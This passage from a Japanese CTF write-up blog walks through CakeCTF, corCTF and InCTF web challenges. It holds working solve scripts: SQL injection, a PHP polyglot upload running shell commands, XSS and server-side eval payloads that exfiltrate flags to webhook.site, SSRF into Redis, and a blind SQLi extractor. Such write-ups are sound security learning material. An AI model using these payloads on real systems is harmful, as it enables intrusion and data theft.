[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null

MDNを見てみると「JavaScriptRegExp オブジェクトは、global または sticky フラグが設定されている場合 (例えば /foo/g/foo/y) はステートフルになります」という記述があった。確かに filter には g フラグが設定されている。これを使えばフィルターをバイパスしてSQLインジェクションに持ち込めそうだ。

以下のようなスクリプトを書いて実行するとフラグが得られた。

import requests
payload = "' union select flag,2,3,4 from flag;"
r = requests.get('http://web.cakectf.com:8002/api/neko', params={
  f'name[{i}]': payload for i in range(10)
})
print(r.text)
$ python solve.py
{"result":[{"nid":"CakeCTF{BUG-REPORT-ACCEPTED:Reward=222-Matatabi-Sticks}","species":2,"name":3,"age":4}]}

[Web 266] ziperatops (11 solves)

1個以上のZIPをアップロードすると、ZIPに含まれるファイルの名前を列挙してくれるWebアプリケーションらしい。

これもまたコードはシンプル。index.php は以下のような内容になっている。setup という utils.php で定義されている関数によって、アップロードされたZIPファイルを一時ディレクトリに移動させている。エラーが発生するか、ZIPに格納されているファイル名の列挙が終われば cleanup によって一時ディレクトリを削除している。

<?php
require_once 'utils.php';

function ziperatops() {
    /* Upload files */
    list($dname, $err) = setup('zipfile');
    if ($err) {
        cleanup($dname);
        return array(null, $err);
    }

    /* List files in the zip archives */
    $results = array();
    foreach (glob("temp/$dname/*") as $path) {
        $zip = new ZipArchive;
        $zip->open($path);
        for ($i = 0; $i < $zip->count(); $i++) {
            array_push($results, $zip->getNameIndex($i));
        }
    }

    /* Cleanup */
    cleanup($dname);
    return array($results, null);
}

list($results, $err) = ziperatops();
?>

setupcleanup の実装を確認する。utils.php は以下のような内容になっている。setup では、まず一時ディレクトリのディレクトリ名を sha1(uniqid()) で生成している。uniqid に第二引数が渡されていないのでかなり頑張れば予測できそうではあるが、リモートでは難しいだろう。

アップロードされた各ZIPファイルについて、ZIPファイル自身のファイル名をチェックしている。もしチェックに引っかかればその場で処理が中断され、先ほど確認したように一時ディレクトリが削除される。

cleanup では、glob で一時ディレクトリに存在するZIPファイルを削除した後にディレクトリを削除している。

<?php
/**
 * Upload files
 */
function setup($name) {
    /* Create a working directory */
    $dname = sha1(uniqid());
    @mkdir("temp/$dname");

    /* Check if files are uploaded */
    if (empty($_FILES[$name]) || !is_array($_FILES[$name]['name']))
        return array($dname, null);

    /* Validation */
    for ($i = 0; $i < count($_FILES[$name]['name']); $i++) {
        $tmpfile = $_FILES[$name]['tmp_name'][$i];
        $filename = $_FILES[$name]['name'][$i];
        if (!is_uploaded_file($tmpfile))
            continue;

        /* Check the uploaded zip file */
        $zip = new ZipArchive;
        if ($zip->open($tmpfile) !== TRUE)
            return array($dname, "Invalid file format");

        /* Check filename */
        if (preg_match('/^[-_a-zA-Z0-9\.]+$/', $filename, $result) !== 1)
            return array($dname, "Invalid file name: $filename");

        /* Detect hacking attempt (This is not necessary but just in case) */
        if (strstr($filename, "..") !== FALSE)
            return array($dname, "Do not include '..' in file name");

        /* Check extension */
        if (preg_match('/^.+\.zip/', $filename, $result) !== 1)
            return array($dname, "Invalid extension (Only .zip is allowed)");

        /* Move the files */
        if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE)
            return array($dname, "Failed to upload the file: $dname/$filename");
    }

    return array($dname, null);
}

/**
 * Remove a directory and its contents
 */
function cleanup($dname) {
    foreach (glob("temp/$dname/*") as $file) {
        @unlink($file);
    }
    @rmdir("temp/$dname");
}
?>

さて、ここまで実装を確認してきたが、よく見るとところどころで怪しげな点がある。列挙していくと、

  • 一時ディレクトリが作成される temp/ ディレクトリはドキュメントルート下にあり、アクセスできる
  • ZIPのファイル名のチェックに使われる正規表現/^.+\.zip/$ が使われていない
    • このため、a.zip.php のように実際には拡張子が .zip でなくても通ってしまう
  • cleanup でのファイルの列挙に glob が使われている
    • glob("temp/$dname/*") はドットから始まるファイルを列挙しない。したがって、.a.zip のようなファイルをアップロードするとそのファイルは削除されない。また、ディレクトリにファイルが残っているため rmdir も失敗する
  • move_uploaded_file が失敗すると一時ディレクトリの名前がエラーメッセージとして表示される

という感じ。まとめると、.a.zip.php という名前でZIPとPHPのpolyglotのファイルをアップロードし、一時ディレクトリ下に移動した .a.zip.php にアクセスするとPHPコードが実行されるということになる。一時ディレクトリの名前については、a.zip.(aが300文字続く) のような長い名前のファイルをアップロードすればエラーメッセージから得られる。

この処理を行うスクリプトを書いて実行するとフラグが得られる。

import requests
import re
with open('a.zip', 'rb') as f:
  s = f.read()

BASE_URL = 'http://web.cakectf.com:8004/'
files = {}
files['zipfile[0]'] = ('.a.zip.php', s + b'<?php passthru("cat /f*"); ?>')
files['zipfile[1]'] = ('.a.zip.' + 'a' * 300, s)
r = requests.post(BASE_URL, files=files)
d = re.findall(r'([0-9a-f]+)/', r.text)[0]

r = requests.get(BASE_URL + 'temp/' + d + '/.a.zip.php')
print(r.text)
CakeCTF{uNd3r5t4nd1Ng_4Nd_3xpl01t1Ng_f1l35y5t3m_cf1944}

[Cheat 289] Yoshi-Shogi (9 solves)

Rust製のLinuxで動くGUIの将棋ゲーが与えられる。次の画像のようなハンデのもとで勝てばフラグが得られるらしい。鬼か?

f:id:st98:20210829120815p:plain

これではとても勝てないので、yoshikingさんにもっと手加減してもらえるようチートを試みる。逆アセンブルして関数名を眺めていると、_ZN11yoshi_shogi10init_board17h76976c8c94fadf3fE (デマングルすると yoshi_shogi::init_board::h76976c8c94fadf3f) という気になる関数が見つかった。駒の配置の初期化をしているのだろうか。

雑に movBYTE PTRgrepしてみると確かにそうっぽいなあという気がしてくる。試しに0を代入してみるといくつかyoshikingさん側の駒が消えた。素晴らしい。

…
   ae45a:       c6 40 08 15             mov    BYTE PTR [rax+0x8],0x15
   ae47c:       c6 40 01 14             mov    BYTE PTR [rax+0x1],0x14
   ae49e:       c6 40 07 14             mov    BYTE PTR [rax+0x7],0x14
   ae4c0:       c6 40 02 13             mov    BYTE PTR [rax+0x2],0x13
   ae4e2:       c6 40 06 13             mov    BYTE PTR [rax+0x6],0x13
   ae504:       c6 40 03 12             mov    BYTE PTR [rax+0x3],0x12
   ae526:       c6 40 05 12             mov    BYTE PTR [rax+0x5],0x12
   ae548:       c6 40 04 0f             mov    BYTE PTR [rax+0x4],0xf
   ae56e:       c6 40 01 10             mov    BYTE PTR [rax+0x1],0x10
   ae594:       c6 40 07 11             mov    BYTE PTR [rax+0x7],0x11
…

yoshi_shogi::init_board::h76976c8c94fadf3f 中の処理を書き換えてyoshikingさん側の駒をできるだけ削除してみたものの、通常の盤面からハンデありの盤面に切り替えると、消滅したはずの歩兵たちがと金として墓から蘇ってきてしまった。これは困った。

yoshi_shogi::init_board::h76976c8c94fadf3f だけでなくバイナリの全体を movBYTE PTRgrepしてみると、以下のように yoshi_shogi::init_board::h76976c8c94fadf3f 外で駒を配置している処理が見つかった。これらも書き換える。

…
   a5cc3:       c6 00 1c                mov    BYTE PTR [rax],0x1c
   a5cf0:       c6 40 01 1c             mov    BYTE PTR [rax+0x1],0x1c
   a5d1e:       c6 40 02 1c             mov    BYTE PTR [rax+0x2],0x1c
   a5d4c:       c6 40 03 1c             mov    BYTE PTR [rax+0x3],0x1c
   a5d7a:       c6 40 04 1c             mov    BYTE PTR [rax+0x4],0x1c
   a5da8:       c6 40 05 1c             mov    BYTE PTR [rax+0x5],0x1c
   a5dd6:       c6 40 06 1c             mov    BYTE PTR [rax+0x6],0x1c
   a5e04:       c6 40 07 1c             mov    BYTE PTR [rax+0x7],0x1c
   a5e32:       c6 40 08 1c             mov    BYTE PTR [rax+0x8],0x1c
…

実行するといい感じにyoshikingさんに手加減をしてもらえるようになった。

f:id:st98:20210829120548p:plain

ポチポチ駒を動かしているとフラグが得られた。

f:id:st98:20210829121853p:plain

CakeCTF{https://www.nicovideo.jp/watch/sm19221643}

corCTF 2021 writeup

8/21 - 8/23という日程で開催された。zer0ptsで参加して12位。激ムズだけど面白い問題ばかりだった。

[Web 323] devme (264 solves)

メールの入力ができるフォームがある。適当なメールアドレスを入力して送信してみると {"query":"mutation createUser($email: String!) {\n\tcreateUser(email: $email) {\n\t\tusername\n\t}\n}\n","variables":{"email":"test@example.com"}} というJSON/graphql というAPIに送られた。GraphQLを使っているらしい。

prisma-labs/get-graphql-schemaでGraphQLスキーマを取得できる。

"""Exposes a URL that specifies the behaviour of this scalar."""
directive @specifiedBy(
  """The URL that specifies the behaviour of this scalar."""
  url: String!
) on SCALAR

type Mutation {
  createUser(email: String!): User
}

type Query {
  users: [User]!
  flag(token: String!): String!
}

type User {
  token: String!
  username: String!
}

以下のようなクエリを送ると、登録されているすべてのユーザのトークンが取得できた。adminトークンは 3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b らしい。

query {
  users {
    token
    username
  }
}

以下のようなクエリを送るとフラグが得られた。

query {
  flag(token: "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b")
}
corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}

[Web 441] buyme (110 solves)

旗の購入ができるサイトが与えられた。アメリカやイギリスなどの100ドルの旗に加えて corCTF という名前の旗もあるが、その価格は1e+300ドルと高すぎる。ユーザ登録して得られるのは100ドルのみであり、譲渡も旗の売却もできないのでこのままではお金を増やす方法はない。

ユーザの情報は以下のように user (ユーザ名)、flags (所持している旗の一覧)、money (所持金)、pass (ハッシュ化されたパスワード)からなる。

    db.users.set(user, {
        user,
        flags: [],
        money: 100,
        pass: await bcrypt.hash(pass, 12)
    });

旗の購入時には以下のように /api/buy というAPIが叩かれる。よく見ると db.buyFlag に対して引数として渡されるオブジェクトは ...req.body とスプレッド構文を使って作られている。このオブジェクトの user プロパティに格納される req.user 自体は改変できないが、req.body はいくらでも改変できるから、user というパラメータをPOSTするデータに仕込んでやれば user プロパティを置き換えることができる。

router.post("/buy", requiresLogin, async (req, res) => {
    if(!req.body.flag) {
        return res.redirect("/flags?error=" + encodeURIComponent("Missing flag to buy"));
    }

    try {
        db.buyFlag({ user: req.user, ...req.body });
    }
    catch(err) {
        return res.redirect("/flags?error=" + encodeURIComponent(err.message));
    }

    res.redirect("/?message=" + encodeURIComponent("Flag bought successfully"));
});

db.buyFlag は以下のような処理をしている。user プロパティとして渡すオブジェクトには userpriceflag というプロパティを持たせればよさそう。

const buyFlag = ({ flag, user }) => {
    if(!flags.has(flag)) {
        throw new Error("Unknown flag");
    }
    if(user.money < flags.get(flag).price) {
        throw new Error("Not enough money");
    }

    user.money -= flags.get(flag).price;
    user.flags.push(flag);
    users.set(user.user, user);
};

以下のように登録から購入まで自動化するスクリプトを書いて実行するとフラグが得られた。

import requests
import uuid

s = requests.Session()
user = str(uuid.uuid4())
s.post('https://buyme.be.ax/api/register', json={
  'user': user,
  'pass': str(uuid.uuid4())
})
r = s.post('https://buyme.be.ax/api/buy', json={
  'flag': 'corCTF',
  'user': {
    'user': user,
    'money': 1e308,
    'flags': []
  }
})
print(r.text)
print(s.cookies)
$ python3 solve.py | grep cor
                        <img class="card-img-top flag" src="https://ctf.cor.team/assets/img/ctflogo.png" />
                        <h4 class="card-title">corCTF</h4>
                        <h5 class="card-title">corctf{h0w_did_u_steal_my_flags_you_flag_h0arder??!!}</h4>

[Web 469] phpme (64 solves)

与えられたURLにアクセスすると、以下のようなPHPコードが表示された。secret というCookieの値が secret.php から読み込まれたであろう $secret と一致しており、かつPOSTで与えられたJSONyep というプロパティの値が yep yep yep という文字列であれば、フラグをJSONで指定したURLに送信してくれるJavaScriptコードを出力するらしい。

<?php
    include "secret.php";

    // https://stackoverflow.com/a/6041773
    function isJSON($string) {
        json_decode($string);
        return json_last_error() === JSON_ERROR_NONE;
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
            // https://stackoverflow.com/a/7084677
            $body = file_get_contents('php://input');
            if(isJSON($body) && is_object(json_decode($body))) {
                $json = json_decode($body, true);
                if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
                    echo "<script>\n";
                    echo "    let url = '" . htmlspecialchars($json["url"]) . "';\n";
                    echo "    navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
                    echo "</script>\n";
                }
                else {
                    echo "nope :)";
                }
            }
            else {
                echo "not json bro";
            }
        }
        else {
            echo "ur not admin!!!";
        }
    }
    else {
        show_source(__FILE__);
    }
?>

この問題ではURLを指定するとクロールしてくれるbotも提供されている。そのbotCookieのチェックはなんとかしてくれるから、JSONのチェックは自分でなんとかしろということだろう。

JSONのチェックでは Content-Type ヘッダは確認されない。ということでまず form 要素でキーに {"hoge":"fuga、その値に "} というような文字列を設定して、最終的に {"hoge":"fuga="} のようにJSONとしても解釈できるバイト列が送信されるようにすることを考えた。が、よく考えるとそのまま(application/x-www-form-urlencoded)では {" がパーセントエンコードされてしまう。

実は form 要素の enctype 属性では text/plain も利用できる。これなら {" はパーセントエンコードされないはず。

以下のようなフォームを用意してbotにアクセスさせると、JSONurl プロパティで指定したURLにフラグが飛んできた。

<form action="https://phpme.be.ax/" method="POST" enctype="text/plain" id="form">
  <input id="i">
  <input type="submit">
</form>
<script>
const input = document.getElementById('i');
i.name = '{"yep":"yep yep yep","url":"https://webhook.site/…","hoge":"';
i.value = '"}';
const form = document.getElementById('form');
form.submit();
</script>
corctf{ok_h0pe_y0u_enj0yed_the_1_php_ch4ll_1n_th1s_CTF!!!}

[Web 478] readme (46 solves)

URLを与えてやると、@mozilla/readabilityによってリーダービューで表示してくれるというWebアプリケーションが与えられる。@mozilla/readability によるコンテンツの抽出はサーバサイドで行われている。

ソースコードを読んでいると、以下のようなページ関連の処理に怪しい部分を見つけた。これはjsdomを使って next という文字列をクラス名やテキストに含む a 要素か button 要素について、そのリンク先を取得した、ボタンをクリックしたりして次のページを表示させようとする処理だ。

button 要素の場合は onclick 属性を eval している。やりたいことはわかるが、なぜわざわざサーバサイドで eval しているのだろう。

const loadNextPage = async (dom, socket) => {
    let targets = [
        ...Array.from(dom.window.document.querySelectorAll("a")), 
        ...Array.from(dom.window.document.querySelectorAll("button"))
    ];
    targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next"));

    if(targets.length == 0) return;
    let target = targets[targets.length - 1];
    
    if(target.tagName === "A") {
        let newDom = await refetch(socket, target.href);
        return newDom;
    }
    else if(target.tagName === "BUTTON") {
        dom.window.eval(target.getAttribute("onclick"));
        return dom;
    }

    return;
};

以下のようなHTMLを返すWebサイトを投げるとフラグが得られた。

<button class="next" onclick="process.mainModule.require('child_process').execSync('wget http://webhook.site/…/$(cat flag.txt)')">next</button>
corctf{but_wh3re_w1ll_i_r3ad_my_n0vels_now??????}

InCTF 2021 writeup

8/13 - 8/15という日程で開催された。zer0ptsで参加して6位。

[Web 100] Raas (? solves)

URLを入力するとそのコンテンツを表示してくれるWebサービスfile:///code/app.pyソースコードが得られる。

Redisサーバから (Cookieに入っているユーザID)_isAdmin というキーに格納された値を取ってきて、それが yes であればフラグが得られるらしい。

from flask import Flask, request,render_template,request,make_response
import redis
import time
import os
from utils.random import Upper_Lower_string
from main import Requests_On_Steroids
app = Flask(__name__)

# Make a connection of the queue and redis
r = redis.Redis(host='redis', port=6379)
#r.mset({"Croatia": "Zagreb", "Bahamas": "Nassau"})
#print(r.get("Bahamas"))
@app.route("/",methods=['GET','POST'])
def index():
    if request.method == 'POST':
        url = str(request.form.get('url'))
        resp = Requests_On_Steroids(url)
        return resp
    else:   
        resp = make_response(render_template('index.html'))
        if not request.cookies.get('userID'):
            user=Upper_Lower_string(32)
            r.mset({str(user+"_isAdmin"):"false"})
            resp.set_cookie('userID', user)
        else:
            user=request.cookies.get('userID')
            flag=r.get(str(user+"_isAdmin"))
            if flag == b"yes":
                resp.set_cookie('flag',str(os.environ['FLAG']))
            else:
                resp.set_cookie('flag', "NAAAN")
        return resp

if __name__ == "__main__":
    app.run('0.0.0.0')

file:///code/main.pyRequests_On_Steroids の実装が見られる。RedisサーバにSSRFしてくれと言わんばかりに、inctf:Gopherプロトコルが使えるようになっている。

import requests, re, io, socket
from urllib.parse import urlparse, unquote_plus
import os
from modules.Gophers import GopherAdapter 
from modules.files import LocalFileAdapter 


def Requests_On_Steroids(url):
    try:
        s = requests.Session()
        s.mount("inctf:", GopherAdapter())
        s.mount('file://', LocalFileAdapter())
        resp = s.get(url)
        assert resp.status_code == 200
        return(resp.text)
    except:
        return "SOME ISSUE OCCURED"
    

#resp = s.get("butts://127.0.0.1:6379/_get dees")

inctf://redis:6379/_set%20kiriyaaoi_isAdmin%20yes というURLの巡回をさせ、CookieのユーザIDに kiriyaaoi を入れるとフラグが得られた。

inctfi{IDK_WHY_I_EVEN_USED_REDIS_HERE!!!}

[Web 823] Notepad 1 - Snakehole's Secret (? solves)

/find では、以下のコードからわかるようになにかひとつ好きなHTTPレスポンスヘッダをGETパラメータから挿入できる。Set-Cookie を使えばCookieの設定もできる。

    } else {
        _, present := param["debug"]
        if present {
            delete(param, "debug")
            delete(param, "startsWith")
            delete(param, "endsWith")
            delete(param, "condition")

            for k, v := range param {
                for _, d := range v {

                    if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 50 {
                        w.Header().Set(k, d)
                    }
                    break
                }
                break
            }
        }
        responseee = "404 No Note Found"
    }

これを利用して、まずadminに /find?condition=hoge&debug=nyan&set-cookie=id=(XSSのペイロードをノートに仕込んだID)%3bpath=/get にアクセスさせ、/getXSSペイロード(<img src=x onerror="import('//example.com:8000/a.php')">)を返すようにする。これで / にアクセスするとXSSが発生し、//example.com:8000/a.php のJSコードが実行される。a.php は以下のような感じ。

<?php
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/javascript");
?>
document.cookie = 'id=; expires=Fri, 31 Dec 1999 23:59:59 GMT; path=/get';
fetch('/get').then(r => r.text()).then(r => {
  navigator.sendBeacon('https://webhook.site/…', r)
})

document.cookie = 'id=; expires=Fri, 31 Dec 1999 23:59:59 GMT; path=/get' によって今設定した /get 限定で有効だったCookieを削除し、それ以降のHTTPリクエストでは元のadminのCookieが送信されるようになる。したがって、この状態で /getfetch するとフラグが書かれたadminのノートが得られる。

この手順を実行するには /find?… から / に遷移させる必要があるが、X-Frame-OptionsDENY であるため iframe が使えない。そのため、以下のように window.open を使う。

<body>
<script>
id = '8666683506aacd900bbd5a74ac4edf68';
w = window.open(`http://chall.notepad1.gq:1111/find?condition=hoge&debug=nyan&set-cookie=id=${id}%3bpath=/get`);
setTimeout(() => {
  w.location.href = 'http://chall.notepad1.gq:1111/';
}, 2000);
</script>
</body>
inctf{youll_never_take_me_alive_ialmvwoawpwe}

[Web 900] Notepad 1.5 - Arthur's Article (? solves)

以下のように、HTTPレスポンスヘッダの値を ^[a-zA-Z0-9{}_;-]*$ にマッチしているかチェックされるよう変更が加えられた。

@@ -132,11 +135,11 @@
                        delete(param, "endsWith")
                        delete(param, "condition")

-                       for k, v := range param {
-                               for _, d := range v {
+                       for v, d := range param {
+                               for _, k := range d {

-                                       if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 50 {
-                                               w.Header().Set(k, d)
+                                       if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 5 {
+                                               w.Header().Set(v, k)
                                        }
                                        break
                                }

find は以下のように特定の文字列がノートの中に含まれているかどうかを確認できるAPIである。 condition というGETパラメータを操作することで特定の文字列から始まるか、あるいは特定の文字列から終わるか、特定の文字列から始まり特定の文字列で終わるかといった条件を切り替えることができる。指定した条件に当てはまらなかった場合に実行されるのが、先ほどのHTTPレスポンスヘッダにGETパラメータの値を挿入する処理である。

つまり、特定の文字列がノートに含まれていればあるHTTPレスポンスヘッダが付与されず、含まれていなければ付与されるというようなことができる。

func find(w http.ResponseWriter, r *http.Request) {

    id := getIDFromCooke(r, w)

    param := r.URL.Query()
    x := Notes[id]

    var which string
    str, err := param["condition"]
    if !err {
        which = "any"
    } else {
        which = str[0]
    }

    var start bool
    str, err = param["startsWith"]
    if !err {
        start = strings.HasPrefix(x, "arthur")
    } else {
        start = strings.HasPrefix(x, str[0])
    }
    var responseee string
    var end bool
    str, err = param["endsWith"]
    if !err {
        end = strings.HasSuffix(x, "morgan")
    } else {
        end = strings.HasSuffix(x, str[0])
    }

    if which == "starts" && start {
        responseee = x
    } else if which == "ends" && end {
        responseee = x
    } else if which == "both" && (start && end) {
        responseee = x
    } else if which == "any" && (start || end) {
        responseee = x
    } else {
        _, present := param["debug"]
        if present {
            delete(param, "debug")
            delete(param, "startsWith")
            delete(param, "endsWith")
            delete(param, "condition")

            for v, d := range param {
                for _, k := range d {

                    if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 5 {
                        w.Header().Set(v, k)
                    }
                    break
                }
                break
            }
        }
        responseee = "404 No Note Found"
    }
    headerSetter(w, cType)
    fmt.Fprintf(w, responseee)
}

X-Frame-OptionsDENY であるという制限下でなんとかしてこれをXS-Leakに使えないか悩んでいたが、s1r1usさんがContent-Disposition ヘッダがXS-Leakに使えることを教えてくれた。あとは実装するだけ。

<body>
<script>
async function test(s) {
  return new Promise((resolve) => {
    const url = `http://chall.notepad15.gq:1515/find?startsWith=${s}&debug=h&Content-Disposition=attachment`;
    const win = window.open(url);
    setTimeout(() => {
      try {
        win.location.href;
        resolve(false);
      } catch (e) {
        resolve(true);
      }
    }, 500);
  });
}

function report(s, t) {
  navigator.sendBeacon(`log.php?${s}:${t}`);
}

(async () => {
  const known = 'inctf{r'
  for (c of '{}_abcdefghijklmnopqrstuvwxyz0123456789') {
    report(c, await test(known + c));
  }
})()
</script>
</body>
inctf{red_dead_rezoday_ialmvwoawpwe}

次の2問は、競技時間中に解ききれなかったものの結構いいところまでいってた(はず)ので悔しかったやつ。

[Web 700] Vuln Drive (? solves)

ファイルのアップローダー。/return-files というファイルをダウンロードできるAPIパストラバーサルがあり、/return-files?f=/app/app.pyソースコードがダウンロードできる。

ソースコードを読むと /dev_test という謎のAPIが見つかる。URLを投げると requests でそのコンテンツを取ってきてくれるが、url_validate という関数でHTTPリクエストを送る前にURLがチェックされている。127.0.0.10.0.0.0 へのアクセスを防ぎたいようだ。

よく見るとURLのチェック後に url = unquote(url) となぜかURLデコードしてしまっている。これを使って http://localhost%2f%23def@example.comhttp://localhost のコンテンツが取得できる。

def url_validate(url):
    blacklist = ["::1", "::"]
    for i in blacklist:
        if(i in url):
            return "NO hacking this time ({- _ -})"
    y = urlparse(url)
    hostname = y.hostname
    try:
        ip = socket.gethostbyname(hostname)
    except:
        ip = ""
    print(url, hostname,ip)
    ips = ip.split('.')
    if ips[0] in ['127', '0']:
        return "NO hacking this time ({- _ -})"
    else:
        try:
            url = unquote(url)
            r = requests.get(url,allow_redirects = False)
            return r.text
        except:
            print(url, hostname)
            return "cannot get you url :)"

# …

@app.route("/dev_test",methods =["GET", "POST"])
def dev_test():
    if auth():
        return redirect('/logout')
    if request.method=="POST" and request.form.get("url")!="":
        url=request.form.get("url")
        return url_validate(url)
    return render_template("dev.html")

http://localhost は以下のようなコンテンツを返した。part1part2 というGETパラメータに特定の文字が含まれているかどうかチェックした後にSQL文に挿入し、MySQLにクエリを投げているようだ。

part1 についてはまた文字のチェックの後に urldecode でURLデコードしてしまっているため、' をURLエンコードすることでフィルターをバイパスしてSQLインジェクションでき、次の part2 が挿入されるSQL文を実行させることができる。

<?php
include('./conf.php');
$inp=$_GET['part1'];
$real_inp=$_GET['part2'];
if(preg_match('/[a-zA-Z]|\\\|\'|\"/i', $inp)) exit("Correct <!-- Not really -->");
if(preg_match('/\(|\)|\*|\\\|\/|\'|\;|\"|\-|\#/i', $real_inp)) exit("Are you me");
$inp=urldecode($inp);
//$query1=select name,path from adminfo;
$query2="SELECT * FROM accounts where id=1 and password='".$inp."'";
$query3="SELECT ".$real_inp.",name FROM accounts where name='tester'";
$check=mysqli_query($con,$query2);
if(!$_GET['part1'] && !$_GET['part2'])
{
    highlight_file(__file__);
    die();
}
if($check || !(strlen($_GET['part2'])<124))
{
    echo $query2."<br>";
    echo "Not this way<br>";
}
else
{
    $result=mysqli_query($con,$query3);
    $row=mysqli_fetch_assoc($result);
    if($row['name']==="tester")
        echo "Success";
    else
        echo "Not";
    //$err=mysqli_error($con);
    //echo $err;
}
?>

part2 は使われている文字をチェックした後にURLデコードされていないため、今度は真面目に ( ) * \ / ' ; " - # を使わずにSQLインジェクションする必要がある。

コメントアウトされている $query1=select name,path from adminfo; から、この adminfo というテーブルから情報を抜き出せばよいとわかる。返ってきた最初のレコードの name カラムの値が tester であれば Success と表示され、そうでなければ Not と表示されることを利用すればBlind SQLiの要領で adminfo のデータを抜き出せる。

import binascii
import uuid
import re
import requests
from urllib.parse import quote

URL = 'http://web.challenge.bi0s.in:6007/'
s = requests.Session()
def login():
  s.post(URL + 'login', data={
    'username': str(uuid.uuid4()),
    'password': str(uuid.uuid4()),
    'submit': 'Login'
  })
  s.get(URL)

def query(payload):
  while True:
    r = s.post(URL + 'dev_test', data={
      'url': 'http://localhost%2f%3fpart1=' + quote(quote(quote("'"))) + '%26part2=' + quote(payload) + '%23def@example.com'
    })
    if 'Success' in r.text or 'Not' in r.text:
      break
    login()
  return 'Success' in r.text

login()

table = list(b'/0123456789abcdefg')
known = ''

while True:
  for i, c in enumerate(table):
    tmp = known + chr(c)
    tmp = binascii.hexlify(tmp.encode()).decode()
    r = query(f"0x746573746572,1 from adminfo where path < 0x4e6f74 and path > binary 0x{tmp} union select 1")
    if not r:
      known += chr(table[i - 1])
      break
  else:
    print('?')
  print(known)

競技時間中はこのスクリプトpath を抜き出すところまでできた。


このカラムには /504acbe45cad25 のようなパスが入っているのだが、/return-files でそのパスのファイルを取得しようとしてもファイルが見つからないと表示されて困っていた。

上のスクリプトでは http://web.challenge.bi0s.in:6007 からパスを抜き出しているが、競技時間中の私はどういうわけかバックアップの問題サーバである http://web.challenge.bi0s.in:6006/return-files で抜き出したパスからファイルを抜き出そうとしており、サーバによってこのパスが異なるためにフラグが得られなかった。つらい。

[Web 804] Json Analyser (? solves)

まず次のAPIで有効なサブスクリプションコードを得る必要がある。role というGETパラメータが {"name":"user","role":"(role)"} というテンプレートに展開されてJSONとしてパースされるが、その useradminrolesuperuser でなければならない。

JSONのパースに使われているujsonは、重複したキーが出現した場合に後から出現した方をそのキーの値として採用する。superuser","name":"admin" というような role を入力すればよいのではないかと思ってしまうが、superuserrole に含まれていれば削除されるし、role は30文字を超えてはいけないし、パース前の文字列に "role":"superuser" という文字列が含まれてはいけないので通らない。

ではどうするかというと、\uXXXX という記法を使えばよい。/verify_roles?role=/u0073uperuser%22,%22name%22:%22admin673307-0496-1001122 というサブスクリプションコードが得られた。

import ujson

# …

@app.route('/verify_roles',methods=['GET','POST'])
def verify_roles():
    no_hecking=None
    role=request.args.get('role')
    if "superuser" in role:
        role=role.replace("superuser",'')
    if " " in role:
        return "n0 H3ck1ng"
    if len(role)>30:
        return "invalid role"
    data='"name":"user","role":"{0}"'.format(role)
    no_hecking=re.search(r'"role":"(.*?)"',data).group(1)
    if(no_hecking)==None:
        return "bad data :("
    if no_hecking == "superuser":
        return "n0 H3ck1ng"
    data='{'+data+'}'
    try:
        user_data=ujson.loads(data)
    except:
        return "bad format" 
    role=user_data['role']
    user=user_data['name']
    if (user == "admin" and role == "superuser"):
        return os.getenv('subscription_code')
    else:
        return "no subscription for you"

このサブスクリプションコードを使えば、以下のように package.json をアップロードすると config-handler という謎ライブラリを使ってその内容を表示してくれる。

app.post('/upload', function(req, res) {
    let uploadFile;
    let uploadPath;
    if(req.body.pin !== "[REDACTED]"){
        return res.send('bad pin')
    }
    if (!req.files || Object.keys(req.files).length === 0) {
      return res.status(400).send('No files were uploaded.');
    }
    uploadFile = req.files.uploadFile;
    uploadPath = __dirname + '/package.json' ;
    uploadFile.mv(uploadPath, function(err) {
        if (err)
            return res.status(500).send(err);
        try{
            var config = require('config-handler')();
        }
        catch(e){
            const src = "package1.json";
            const dest = "package.json";
            fs.copyFile(src, dest, (error) => {
                if (error) {
                    console.error(error);
                    return;
                }
                console.log("Copied Successfully!");
            });
            return res.sendFile(__dirname+'/static/error.html')
        }
        var output='\n';
        if(config['name']){
            output=output+'Package name is:'+config['name']+'\n\n';
        }
        if(config['version']){
            output=output+ "version is :"+ config['version']+'\n\n'
        }
        if(config['author']){
            output=output+"Author of package:"+config['author']+'\n\n'
        }
        if(config['license']){
            var link=''
            if(config['license']==='ISC'){
                link='https://opensource.org/licenses/ISC'+'\n\n'
            }
            if(config['license']==='MIT'){
                link='https://www.opensource.org/licenses/mit-license.php'+'\n\n'
            }
            if(config['license']==='Apache-2.0'){
                link='https://opensource.org/licenses/apache2.0.php'+'\n\n'
            }
            if(link==''){
                var link='https://opensource.org/licenses/'+'\n\n'
            }
            output=output+'license :'+config['license']+'\n\n'+'find more details here :'+link;
        }
        if(config['dependencies']){
            output=output+"following dependencies are thier corresponding versions are used:" +'\n\n'+'     '+JSON.stringify(config['dependencies'])+'\n'
        }

        const src = "package1.json";
        const dest = "package.json";
        fs.copyFile(src, dest, (error) => {
            if (error) {
                console.error(error);
                return;
            }
        });
        res.render('index.squirrelly', {'output':output})
    });
});

ここでPrototype Pollutionができる。


Prototype PollutionからRCEに持ち込めるのではないかと考えてs1r1usさんとSquirrellyのscript gadgetを探していたが、結局見つけられなかった。実は既知のネタだったらしいし、終了後にTea DeliverersのZeddyさんにも聞いたところやはりこのgadgetを使ったらしかった。

RaRCTF 2021 writeup

